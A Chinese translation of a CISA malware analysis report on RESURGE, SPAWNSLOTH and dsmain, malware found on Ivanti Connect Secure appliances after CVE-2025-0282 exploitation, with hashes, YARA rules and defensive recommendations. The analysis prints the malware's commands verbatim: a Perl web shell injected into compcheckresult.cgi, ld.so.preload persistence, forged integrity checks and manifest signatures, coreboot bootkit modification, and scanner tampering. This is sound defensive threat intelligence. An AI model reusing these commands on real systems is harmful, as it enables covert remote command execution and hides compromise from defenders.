深度剖析RESURGE恶意软件:针对Ivanti Connect Secure的复杂攻击链

美国CISA发布针对Ivanti Connect Secure设备的恶意软件分析报告,详细解析了名为RESURGE的复杂恶意软件。该软件具备后门、下载器、rootkit、引导套件等多种功能,并利用CVE-2025-0282漏洞进行初始访问,通过篡改日志、创建Web Shell、建立SSH隧道等手段实现持久化控制。

MAR-25993211-r1.v1 Ivanti Connect Secure (RESURGE)

发布日期:2025年3月28日 警报代码:AR25-087A

通知

本报告“按原样”提供,仅用于信息目的。美国国土安全部 (DHS) 对此处包含的任何信息不作任何形式的保证。DHS 不认可本公告中或以其他方式引用的任何商业产品或服务。 本文档标记为 TLP:CLEAR——接收者可以不受限制地共享此信息。根据适用于公开发布的规则和程序,当信息具有最小或可预见的误用风险时,来源方可以使用 TLP:CLEAR。根据标准版权规则,TLP:CLEAR 信息可以不受限制地共享。有关交通灯协议 (TLP) 的更多信息,请参见 http://www.cisa.gov/tlp

摘要

描述 CISA 分析了从威胁参与者利用 Ivanti CVE-2025-0282 进行初始访问后,从关键基础设施的 Ivanti Connect Secure 设备获取的三个文件。其中一个文件——CISA 称之为 RESURGE——在如何创建用于命令与控制 (C2) 的安全外壳 (SSH) 隧道方面具有与 SPAWNCHIMERA 类似的功能。RESURGE 还包含一系列可以修改文件、操纵完整性检查以及创建 Web Shell 并将其复制到正在运行的 Ivanti 启动磁盘的命令。 第二个文件是 SPAWNSLOTH 的一个变体,包含在 RESURGE 样本中。该文件会篡改 Ivanti 设备日志。 第三个文件是一个定制的嵌入式二进制文件,包含一个开源 shell 脚本和开源工具 BusyBox 的一个子集小程序。开源 shell 脚本能够从受损的内核映像中提取未压缩的内核映像 (vmlinux)。BusyBox 使威胁参与者能够在受损设备上执行各种功能,例如下载和执行有效负载。 有关 CVE-2025-0282 的信息,请参见 CISA 警报“CISA 发布与 Ivanti Connect Secure 相关的 RESURGE 恶意软件的分析报告”。

提交的文件 (2)

  • 52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda (libdsupgrade.so)
  • b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d (dsmain)

其他文件 (1)

  • 3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104 (liblogblock.so)

发现

52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda

标签 后门、下载器、rootkit

详细信息

  • 名称: libdsupgrade.so
  • 大小: 1414480 字节
  • 类型: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.16, stripped
  • MD5: cfb263a731d51ff489168bbca0d3bd2f
  • SHA1: 87bcbbcb878aeee6ad4463464745770e95c6a937
  • SHA256: 52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda
  • SHA512: 3d12fdb707c188eb2e94cbf2dd42a50cfe343128652bab9245a54b887e35bc32c6a88c8faa5001a045df3991b387fcd6a27719ecbf84f6ce893163b040c2e0dd
  • ssdeep: 24576:h6j7Ed+iowSCstJtmOKSbqUmtzYxs7X0ToN8fp/AQClBka:h4wSC0JtmpntzYMU2
  • : 6.171523

反病毒软件

  • ESET: a variant of Linux/SpawnSnail.A trojan

YARA 规则

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
rule CISA_25993211_01 : RESURGE backdoor dropper rootkit bootkit {
meta:
    author = "CISA Code & Media Analysis"
    incident = "25993211"
    date = "2025-03-03"
    last_modified = "20250303_1446"
    actor = "n/a"
    family = "SPAWN"
    capabilities = "n/a"
    malware_type = "backdoor dropper rootkit bootkit"
    tool_type = "unknown"
    description = "Detects RESURGE malware samples"
    sha256_1 = "52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda"
strings:
    $s1 = "snprintf"
    $s2 = "CGI::param"
    $s3 = "coreboot.img"
    $s4 = "scanner.py"
    $s5 = { 6C 6F 67 73 }
    $s6 = "accept"
    $s7 = "strncpy"
    $s8 = "dsmdm"
    $s9 = "funchook_create"
    $s10 = { 20 83 B8 ED }
condition:
    all of them
}

ssdeep 匹配 未找到匹配项。

关系

  • 52bbc44eb4… 包含 3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104

描述 文件 libdsupgrade.so 是从版本为 22.7.4.30859 的 Ivanti Connect Secure 设备中提取的恶意 32 位 Linux 共享对象文件。该文件具有 rootkit、下载器、后门、引导套件、代理和隧道工具的功能。该文件具有与 SPAWNCHIMERA 恶意软件相似的功能,但它包含一系列修改文件、操纵完整性检查以及创建 Web Shell 并将其复制到正在运行的 Ivanti 启动磁盘的命令。CISA 将此变体称为 RESURGE。

与 SPAWNCHIMERA 的相似之处如下。RESURGE 检查文件是否由名为 webdsmdm 的程序加载(图 1)。 如果调用 web 程序,它会挂钩 acceptstrncpy。它包含一个嵌入式私钥,该私钥经过异或 (XOR) 加密,因此威胁参与者 (TA) 可以使用其公钥连接到它。此代理不使用加密,它使用解码函数(图 2)。它使用隧道技术查找 IP 和数据,并解码接收到的数据,然后通过代理传送。被挂钩的 strncpy 被修改为将复制的数据限制在 256 字节。这是通过检查 web 程序是否在指定的地址范围内运行、字节不大于 256 以及字节不以特定的字节模式开头来实现的(图 3)。TA 连接到隧道工具,该工具也可以与文件 me/runtime/tmp/.logsrv 通信。当它收到流量时,它会传送到该文件,然后 TA 可以通过安全外壳与系统通信。 如果调用 dsmdm 程序,它会为系统创建一个 SSH 安全外壳线程。它不绑定到端口,而是绑定到名为 me/runtime/tmp/.logsrv 的文件并监听连接,为 TA 提供一个安全的套接字外壳访问系统(图 4)。为了让 TA 访问该外壳,他们需要访问该文件。还会创建另一个线程来将文件 liblogblock.so 释放到 /tmp 目录。它创建到 proc 文件夹的句柄,遍历该文件夹以查找 dslogserver 进程。它通过共享内存与 dslogserver 交互,以读取或写入其正在使用的内存。它检查 dslogserver 是否启动。如果没有,它会休眠 10 秒,然后再次检查。此行为会循环持续,直到检测到服务器,届时它将尝试加载名为 /tmp/.liblogblock.so 的共享对象文件(图 5)。

RESURGE 包含一系列命令,这些命令已分解并执行以下功能:

命令 1: 将自己插入 ld.so.preload,在 compcheckresult.cgi 文件中设置用于远程命令执行的 Web Shell,伪造完整性检查,并针对修改后的文件生成密钥以对清单文件进行签名,使其看起来合法(图 6)。

命令 2: 解密、修改和重新加密 coreboot 随机存取存储器 (RAM) 磁盘(图 7)。

命令 3: 使用 system() 执行多个 sed 命令。这些命令通过搜索特定行并将其替换为新行来修改两个 Python 文件(scanner.pyscanner_legacy.py)的内容,如果成功,将导致扫描脚本不再跟踪不匹配或新文件(图 8)。


命令 1 开始

/bin/sed -i '/echo_console "Saving package"/i

  • 搜索字符串 echo_console "Saving package" 并在其前插入以下命令: cp /lib/%s /tmp/data/root/lib
  • 将自己复制到 /tmp/data/root/libcp /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/data/root/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg
  • 将 Python 包 scanner-0.1-py3.6.egg 复制到 /tmp/data/root/home/venv3/lib/...echo "/lib/%s "\/home/bin/openssl dgst -sha256 /lib/%s|cut -d " “-f 2` b” » /tmp/data/root/home/etc/manifest/manifest`
  • 使用 openssl dgst 计算自身的 SHA-256 哈希值。结果附加到 manifest 文件。 sed -i "1i/lib/%s" /tmp/data/root/etc/ld.so.preload
  • 将自己插入到 ld.so.preload 文件的开头。 touch /tmp/data/root/etc/ld.so.preload
  • 更新 ld.so.preload 文件的时间戳。 sed -i "/ENV{\"DSINSTALL_CLEAN\"} = \$clean;/a \\\$ENV{\"LD_PRELOAD\"} = \"%s\";" /tmp/data/root/home/perl/DSUpgrade.pm
  • DSUpgrade.pm 文件中的模式 ENV{"DSINSTALL_CLEAN"} = $clean; 之后添加新行。然后将环境变量 LD_PRELOAD 设置为 %s,确保在运行脚本时预加载该库。 sed -i "/popen(*FH, \$prog);/a \\\$ENV{\"LD_PRELOAD\"} = \"\";" /tmp/data/root/home/perl/DSUpgrade.pm
  • DSUpgrade.pm 文件中搜索字符串 "/popen(*FH, \$prog);/",然后在 popen(...); 之后添加行 \$ENV{"LD_PRELOAD"} = "";。它在 DSUpgrade.pm 文件执行后清除所有预加载库的 LD_PRELOAD 环境变量。 sed -i "s/DSUpgrade.pm \w{64}/DSUpgrade.pm \/home/bin/openssl dgst -sha256 /tmp/data/root/home/perl/DSUpgrade.pm | cut -d " " -f 2` " /tmp/data/root/home/etc/manifest/manifest`
  • manifest 文件中搜索 DSUpgrade.pm 的 SHA-256 校验和。它使用 openssl dgst 计算 DSUpgrade.pm 的哈希值,并用此哈希值替换旧值。 sed -i "/main();/I if(CGI::param(\"vXm8DtMJG\")){\n\\ print \"Cache-Control: no-cache\\n\"; \n\\ print \"Content-type: text/html\\n\\n\"; \n\\ my \$a=CGI::param(\"vXm8DtMJG\");\n\\ system(\"\$a\");\n}" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi
  • 这会在文件 compcheckresult.cgi 中的 main(); 函数之前插入 Perl 代码。它检查参数 "vXm8DtMJG",如果存在,则运行攻击者通过 Web 服务器提供的命令。 sed -i "s/compcheckresult.cgi \w{64}/compcheckresult.cgi \/home/bin/openssl dgst -sha256 “/tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi | cut -d " " -f 2` " /tmp/data/root/home/etc/manifest/manifest`
  • 与前面的命令类似,它用新的 SHA-256 哈希值替换 manifest 文件中的旧 compcheckresult.cgised -i "s/exit 1/exit 0/g" /tmp/data/root/home/bin/check_integrity.sh
  • 此命令将 check_integrity.sh 中所有出现的 exit 1 替换为 exit 0。这确保脚本不会因错误而退出。 sed -i "s/check_integrity.sh \w{64}/check_integrity.sh \/home/bin/openssl dgst -sha256 /tmp/data/root/home/bin/check_integrity.sh | cut -d " " -f 2`/” /tmp/data/root/home/etc/manifest/manifest`
  • 与前面的命令类似,它用新的 SHA-256 哈希值替换 manifest 文件中的旧 check_integrity.sh/home/bin/openssl genrsa -out private.pem 2048
  • 生成一个 2048 位的 RSA 私钥并将其保存在 private.pem 中。 /home/bin/openssl rsa -in private.pem -out manifest.2 -outform PEM -pubout
  • 此命令从 private.pem 文件中提取公钥并将其保存为 manifest.2/home/bin/openssl dgst -sha512 -sign private.pem -out manifest.1 /tmp/data/root/home/etc/manifest/manifest
  • 使用私钥对清单文件进行签名,生成 SHA-512 签名并将其保存为 manifest.1mv manifest.1 manifest.2 /tmp/data/root/home/etc/manifest/
  • 将已签名的清单文件 (manifest.1manifest.2) 移动到 /tmp/data/root/home/etc/manifest/ 目录。 rm -f private.pem' ./do-install";
  • 删除私钥文件,最后执行脚本 do-install

命令 1 结束


命令 2 开始

sed -i '/\\/bin\\/cp \\/tmp\\/data\\/root\\/\\${kerndir}\\/coreboot.img \\/tmp\\/data\\/boot\\//i\\\n"

  • 在行 "/bin/cp /tmp/data/root/${kerndir}/coreboot.img /tmp/data/boot/" 之前修改 /tmp/installer/do-install-coreboot,添加以下命令: /bin/mkdir /tmp/new_img
  • 创建新目录 /tmp/new_img/bin/dsmain -g
  • 使用 -g 参数执行 dsmain/bin/sh /tmp/extract_vmlinux.sh /tmp/data/root/${kerndir}/bzImage > /tmp/new_img/vmlinux"
  • 针对 bzImage 执行 shell 脚本 extract_vmlinux.sh 并将输出保存到 /tmp/new_img/vmlinux/bin/rm /tmp/extract_vmlinux.sh
  • 删除 extract_vmlinux.shoutput=$(/bin/dsmain strings -t x /tmp/new_img/vmlinux | grep "Linux version ")
  • 声明变量 $output。在 vmlinux 文件中搜索字符串 'Linux Version',同时保留其十六进制偏移量,并将字符串的内存地址保存到 $outputoffset="0x"$(echo $output | awk '\"'\"'{print $1}'\"'\"')
  • 声明 $offset 变量。从 $output 中提取十六进制偏移量并加上前缀 0xoffset=$((offset + 0xc0))
  • 将当前偏移量值加上十六进制 0xc0(十进制 192)并保存在 $offset 中。 key=$(/bin/dsmain xxd -s "$offset" -l 16 -p /tmp/new_img/vmlinux)
  • 声明 $key 变量。它使用 xxd$offset 处读取 16 个字节。这 16 个字节随后以十六进制形式存储在 $key 中。 /bin/dsmain -d /tmp/data/root/${kerndir}/coreboot.img /tmp/new_img/coreboot.img.1.gz $key
  • 使用提取的 $key 执行带 -d 参数的 dsmain 以解密 coreboot.img,并将输出存储为 coreboot.img.1.gz/bin/mkdir /tmp/coreboot_fs
  • 创建新目录 /tmp/coreboot_fs/bin/dsmain gunzip /tmp/new_img/coreboot.img.1.gz -c > /tmp/coreboot_fs/coreboot.img.1
  • 执行 dsmaincoreboot.img.1.gz 解压缩到新目录中的 coreboot.img.1cd /tmp/coreboot_fs
  • 切换到 /tmp/coreboot_fs 目录。 /bin/dsmain cpio -idvm < coreboot.img.1
  • 使用 cpio -idvm 执行 dsmain 以提取压缩的 coreboot.img.1/bin/rm coreboot.img.1
  • 删除 coreboot.img.1cp /bin/dsmain /tmp/coreboot_fs/bin/dsmain
  • dsmain 复制到 coreboot_fs 目录。 cp /lib/%s /tmp/coreboot_fs/lib/%s
  • 将自己复制到 coreboot_fs 目录。 cp /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/coreboot_fs/bin/scanner-0.1-py3.6.egg
  • 将 python 包 scanner-0.1-py3.6.egg 复制到 coreboot_fs 目录。 /bin/sed -i rollback_on_error $? "Extracting Package"
  • 通过将以下命令添加到文件 /tmp/coreboot_fs/bin/init 中的行 rollback_on_error $? "Extracting Package" 下方来修改启动过程。 /bin/dsmain touch /etc/ld.so.preload
  • 执行带 touch 参数的 dsmain,将 /etc/ld.so.preload 的访问和修改时间更新为当前时间。 /bin/dsmain sed -I "1i/lib/%s" /home/root/etc/ld.so.preload
  • 将自己添加到 ld.so.preload 的顶部。 /bin/cp /bin/dsmain /home/root/bin/dsmain
  • dsmain 复制到 root/bin 目录。 /bin/cp /bin/scanner-0.1-py3.6.egg /home/root/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg
  • scanner-0.1-py3.6.egg 复制到 root 目录。 /bin/cp /lib/%s /home/root/lib/%s
  • 将自己复制到 root/lib 目录。 "\" /tmp/coreboot_fs/bin/init
  • 正在用上述命令修改的启动过程文件。 /bin/dsmain find . -print | /bin/dsmain cpio -o -H newc > /tmp/coreboot_fs/coreboot.img.1
  • 执行 dsmain 以重新打包修改后的 coreboot.img/bin/dsmain gzip /tmp/coreboot_fs/coreboot.img.1
  • 执行 dsmain 以压缩修改后的 coreboot.img/bin/dsmain -e /tmp/coreboot_fs/coreboot.img.1.gz /tmp/data/root/${kerndir}/coreboot.img $key
  • 执行 dsmain 以加密修改后的 coreboot.imgrm -rf /tmp/coreboot_fs'
  • 删除 /tmp/coreboot_fs 目录。 /tmp/installer/do-install-coreboot
  • 正在用命令修改的文件。

命令 2 结束


命令 3 开始

system("sed -i 's/mismatchCount += 1/pass/g' scripts/scanner.py");

  • scanner.py 中的 mismatchCount += 1 替换为 passsystem("sed -i 's/mismatchedFiles.append(file)/ /g' scripts/scanner.py");
  • scanner.py 中的 mismatchedFiles.append(file) 替换为空格。 system("sed -i 's/newFilesCount += 1/pass/g' scripts/scanner.py");
  • scanner.py 中的 newFilesCount += 1 替换为 passsystem("sed -i 's/newFilesDetected.append(file)/ /g' scripts/scanner.py");
  • scanner.py 中的 newFilesDetected.append(file) 替换为空格。 system("sed -i 's/mismatchCount += 1/pass/g' scripts/scanner_legacy.py");
  • scanner_legacy.py 中的 mismatchCount += 1 替换为 passsystem("sed -i 's/mismatchedFiles.append(file)/ /g' scripts/scanner_legacy.py");
  • scanner_legacy.py 中的 mismatchedFiles.append(file) 替换为空格。 system("sed -i 's/newFilesCount += 1/pass/g' scripts/scanner_legacy.py");
  • scanner_legacy.py 中的 newFilesCount += 1 替换为 passsystem("sed -i 's/newFilesDetected.append(file)/ /g' scripts/scanner_legacy.py");
  • scanner_legacy.py 中的 newFilesDetected.append(file) 替换为空格。

命令 3 结束

截图

  • 图 1 - 检查文件是否由名为 webdsmdm 的程序加载。
  • 图 2 - 代理的解码函数。
  • 图 3 - 对被挂钩的 strncpy 函数的修改。
  • 图 4 - 设置 SSH 外壳。
  • 图 5 - 加载共享对象 /tmp/.liblogblock.so
  • 图 6 - 命令 1。
  • 图 7 - 命令 2。
  • 图 8 - 命令 3。

3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104

标签 特洛伊木马

详细信息

  • 名称: liblogblock.so
  • 大小: 95092 字节
  • 类型: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
  • MD5: 44d09ca5b989e24ff5276d5b5ee1d394
  • SHA1: 5309f9082da0fc24ebf03cb1741fa71335224e5a
  • SHA256: 3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104
  • SHA512: 63ded8e7294ee9a0d4181310d25c348d0d657d35e57740234cb98c9abfd8eb18bb3cd35a28bca3013f3e141b41131b923b39717c7ae864019287c2d85a36ae63
  • ssdeep: 1536:AxlL0im3r1G1+5uIEcfPTLuYzgrbwhpMTQe5pylmpsk76BAwu:Kt1+5unc3TLRujpyRzaw
  • : 5.376198

反病毒软件 未找到匹配项。

YARA 规则

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
rule CISA_25993211_02 : SPAWNSLOTH trojan compromises_data_integrity {
meta:
    author = "CISA Code & Media Analysis"
    incident = "25993211"
    date = "2025-03-04"
    last_modified = "20250304_0906"
    actor = "n/a"
    family = "SPAWN"
    capabilities = "compromises-data-integrity"
    malware_type = "trojan"
    tool_type = "unknown"
    description = "Detects SPAWNSLOTH malware samples"
    sha256_1 = "3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104"
strings:
    $s1 = "dslogserver"
    $s2 = "g_do_syslog_servers_exist"
    $s3 = "_ZN5DSLog4File3addEPKci"
    $s4 = "dlsym"
condition:
    all of them
}

ssdeep 匹配 未找到匹配项。

关系

  • 3526af9189… 被包含在 52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda 中

描述 文件 liblogblock.so 是一个 32 位 Linux ELF 二进制文件,被识别为 SPAWNSLOTH 恶意软件的一个变体,这是一种日志篡改工具。 如果程序名称是 dslogserver,它会分离包含 “g_do_syslog_servers_exist” IPC 密钥的共享内存。接下来,它获取符号 “_ZN5DSLog4File3addEPKci” 的句柄并调用 funchook_create。Funchook 是一个开源工具,允许在运行时拦截和修改函数调用。funchook_create 调用 funchook_alloc,最终调用 mmap。 为了便于阅读,已用开源中的名称重命名了反汇编的函数。TA 删除了 funchook_create 中的日志消息,以使识别所使用的开源工具变得困难。

截图

  • 图 9 - 用于对抗 dslogserver 的挂钩函数。

b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d

标签 特洛伊木马

详细信息

  • 名称: dsmain
  • 大小: 5102976 字节
  • 类型: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.16, with debug_info, not stripped
  • MD5: 6e01ef1367ea81994578526b3bd331d6
  • SHA1: 09eb513f284771461bcdc16ee28d31ce8bbe74e0
  • SHA256: b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d
  • SHA512: ecbda91571b0429be42017dddd2cb687ce696dd601cd02f2502119b8b732376cee2097069ca35ba0089387d58213c6140c2caf8e6c2e05733d21c309b51e2b9b
  • ssdeep: 49152:4ZLtRJ8ryYwd5OP5nz1kHKf26xZVKtom+YvFM4tAcRrhOBDKx76a:4ptVbQ5nz2SZstogttAcRrhOBu6a
  • : 6.020899

反病毒软件

  • ESET: Linux/Agent.AHD trojan

YARA 规则 未找到匹配项。

ssdeep 匹配 未找到匹配项。

描述 文件 dsmain 是一个 64 位 Linux ELF,包含开源脚本 extract_vmlinux.sh 和开源工具 BusyBox。 该文件接受三个参数 (-e, -d, -g)。-e 参数用于使用高级加密标准 (AES) 密钥加密文件。-d 参数用于使用 AES 密钥解密文件。-g 参数用于调用脚本 extract_vmlinux.sh,该脚本被写入 /tmp/extract_vmlinux.sh 并用于从内核映像中提取未压缩的 vmlinux。TA 提取 vmlinux 是为了分析内核代码、识别漏洞并可能利用该系统。 BusyBox 是一个开源项目工具,来自广泛用于嵌入式设备和工业控制系统 (ICS) 的 Unix 实用程序集合。当 TA 访问运行 BusyBox 的设备时,TA 可以执行一系列 BusyBox 命令来执行各种功能,例如在受感染的设备上下载和执行恶意有效负载。文件 dsmain 使用 BusyBox 的指定小程序。


从 BusyBox 使用的小程序开始

bzcat bzip2 cat cpio find gunzip gzip lzop sed sh strings tail tar touch tr unlzma unlzop unxz xxd xz

从 BusyBox 使用的小程序结束

关系摘要

  • 52bbc44eb4… 包含 3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104
  • 3526af9189… 被包含在 52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda 中

建议

CISA 建议用户和管理员考虑使用以下最佳实践来加强其组织系统的安全状况。任何配置更改都应在实施前由系统所有者和管理员审查,以避免产生不良影响。

  • 保持最新的防病毒签名和引擎。
  • 保持操作系统补丁最新。
  • 禁用文件和打印机共享服务。如果需要这些服务,请使用强密码或 Active Directory 身份验证。
  • 限制用户安装和运行不需要的软件应用程序的能力(权限)。除非必要,否则不要将用户添加到本地管理员组。
  • 实施强密码策略并定期更改密码。
  • 打开电子邮件附件时要小心,即使附件是预期的并且发件人看起来是已知的。
  • 在机构工作站上启用个人防火墙,配置为拒绝未经请求的连接请求。
  • 禁用机构工作站和服务器上不必要的服务。
  • 扫描并删除可疑的电子邮件附件;确保扫描的附件是其“真实文件类型”(即,扩展名与文件头匹配)。
  • 监控用户的网页浏览习惯;限制访问具有不良内容的网站。
  • 使用可移动媒体(例如,USB 拇指驱动器、外置驱动器、CD 等)时要小心。
  • 在执行前扫描所有从 Internet 下载的软件。
  • 保持对最新威胁的情境意识并实施适当的访问控制列表 (ACL)。

有关恶意软件事件预防和处理的更多信息,请参见美国国家标准与技术研究院 (NIST) 特别出版物 800-83,“台式机和笔记本电脑恶意软件事件预防和处理指南”。

联系信息

CISA 不断努力改进其产品和服务。您可以通过在以下网址回答关于此产品的几个简短问题来提供帮助:https://www.cisa.gov/forms/feedback

文档常见问题解答

  • 什么是 MIFR? 恶意软件初步发现报告 (MIFR) 旨在及时向组织提供恶意软件分析。在大多数情况下,本报告将为计算机和网络防御提供初步指标。要请求额外分析,请联系 CISA 并提供所需分析级别的信息。
  • 什么是 MAR? 恶意软件分析报告 (MAR) 旨在通过手动逆向工程为组织提供更详细的恶意软件分析。要请求额外分析,请联系 CISA 并提供所需分析级别的信息。
  • 我可以编辑此文档吗? 收件人不得以任何方式编辑本文档。有关本文档的所有评论或问题应直接发送至 CISA,电话 1-844-Say-CISA 或电子邮件 contact@mail.cisa.dhs.gov
  • 我可以向 CISA 提交恶意软件吗? 可以通过以下方式提交恶意软件样本:
    • 网站:https://www.cisa.gov/resources-tools/services/malware-next-generation-analysis
    • 对于较大的文件(超过 100MB),请联系 CISA 获取说明。

CISA 鼓励您报告任何可疑活动,包括网络安全事件、可能的恶意代码、软件漏洞和网络钓鱼相关诈骗。报告表格可在 CISA 主页 www.cisa.gov 上找到。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计